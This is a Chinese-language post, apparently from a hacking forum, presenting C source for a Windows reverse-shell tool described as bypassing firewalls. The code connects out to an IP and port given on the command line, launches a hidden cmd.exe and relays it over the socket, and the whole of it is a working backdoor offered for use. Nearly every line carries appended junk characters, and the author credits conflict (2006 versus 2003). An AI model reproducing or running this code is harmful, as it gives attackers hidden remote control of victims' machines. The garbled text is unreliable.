这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c01i!XS
lXOT>$qR<
/* ============================== > xie+ ^
Rebound port in Windows NT tv'=xDCp
By wind,2006/7 "#G`F
===============================*/ -cP7`.a
#include crl"Ec
#include ^g
N/ 5
\k>1q/T0V
#pragma comment(lib,"wsock32.lib") ;\(X;kQi
.-4]FGg3
void OutputShell(); bd)'1;p
SOCKET sClient; U2vM|7]VP
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,Aw
Z%
RAB'%CY4
void main(int argc,char **argv) P]%)c6Uh
{ %=`wN^3t2
WSADATA stWsaData; z[+Sb;
int nRet; Eu|O<9U\
SOCKADDR_IN stSaiClient,stSaiServer; S:8 WBY] M
+sFpIiJg
if(argc != 3) ?'RB'o~
{ lFZl}x
printf("Useage:\n\rRebound DestIP DestPort\n"); Q%!Dk0-)
return; %_%BbQf
} )];Bo.QA
*"Uf|
WSAStartup(MAKEWORD(2,2),&stWsaData); L6Io u
$(+#$F<eo+
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V[2}
4=qZ Z>[t
stSaiClient.sin_family = AF_INET; 4~i?xo=;v
stSaiClient.sin_port = htons(0); 6<mlx'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E4,
J"T|@
M2pFXU?]
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &M{;[O{
{ L%;[tu(*
printf("Bind Socket Failed!\n"); ;LqpX!Pi
f
return; mnL+@mm
} nZ %%{#T7
5jAS1XG
stSaiServer.sin_family = AF_INET; <rxtdI"3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (z 9M
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )f,9 h
%&j\:X~A
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sf"vi i,1A
{ J#xZ.6)
printf("Connect Error!"); y;<F|zIm
return; K$I`&M(
} mI'&!@WG
OutputShell(); -car>hQq
} s
w{e |
o[)*Y`xq<w
void OutputShell() qs!A)H#
{ M;9s
char szBuff[1024]; *Gul|Lp$<I
SECURITY_ATTRIBUTES stSecurityAttributes; FxmHy{JG
OSVERSIONINFO stOsversionInfo; OJiwI)a9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lokKjs
STARTUPINFO stStartupInfo; 9DdR"r'7
char *szShell; WG*),P?
PROCESS_INFORMATION stProcessInformation; A DVUx}
unsigned long lBytesRead; hBi/lHu'
a:Nf+t
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |]5`T9K@b#
`BVXF#sb
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K[yP{01
stSecurityAttributes.lpSecurityDescriptor = 0; 54].p7
stSecurityAttributes.bInheritHandle = TRUE; +U)4V}S)
M+*K-zt0
1my1m
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %,(X R`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @FZbp
0D Lw
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ohjl*dw
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Z>8ROv^X
stStartupInfo.wShowWindow = SW_HIDE; uS5G(} [
stStartupInfo.hStdInput = hReadPipe; 25 cJA4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (hEg&@
(67byO{
GetVersionEx(&stOsversionInfo); \q\"=
0S96x}]J B
switch(stOsversionInfo.dwPlatformId) z*B?Hw),
{ Xdf4%/Op
case 1: C1>zwU_zo
szShell = "command.com"; 05:?5M4};
break; @C%6Wo4l3
default: ST2:&xH(
szShell = "cmd.exe"; OG9 '[o`8
break; ;;6$d{
} Lt
^*L%x
Gt)ij?~
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &(lQgi+^!
F^Bk @
send(sClient,szMsg,77,0); v: veKA
while(1) =R<92v
{ }2Tq[rl~s
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z'*"iaX<c
if(lBytesRead) e_"m\e#N
{ $01csj
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &u~Pp=kv
send(sClient,szBuff,lBytesRead,0); 1tLEKSo+
} --EDr>'D5P
else `NTtw;%Y
{ uW
[yNwM
lBytesRead=recv(sClient,szBuff,1024,0); ex
BLj
*]
if(lBytesRead<=0) break; ?GlXxx=eV
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W*%(J$E
} ]&N>F8.L+
} TB-dV'w
Zl>dBc%
return; f >.^7.is
}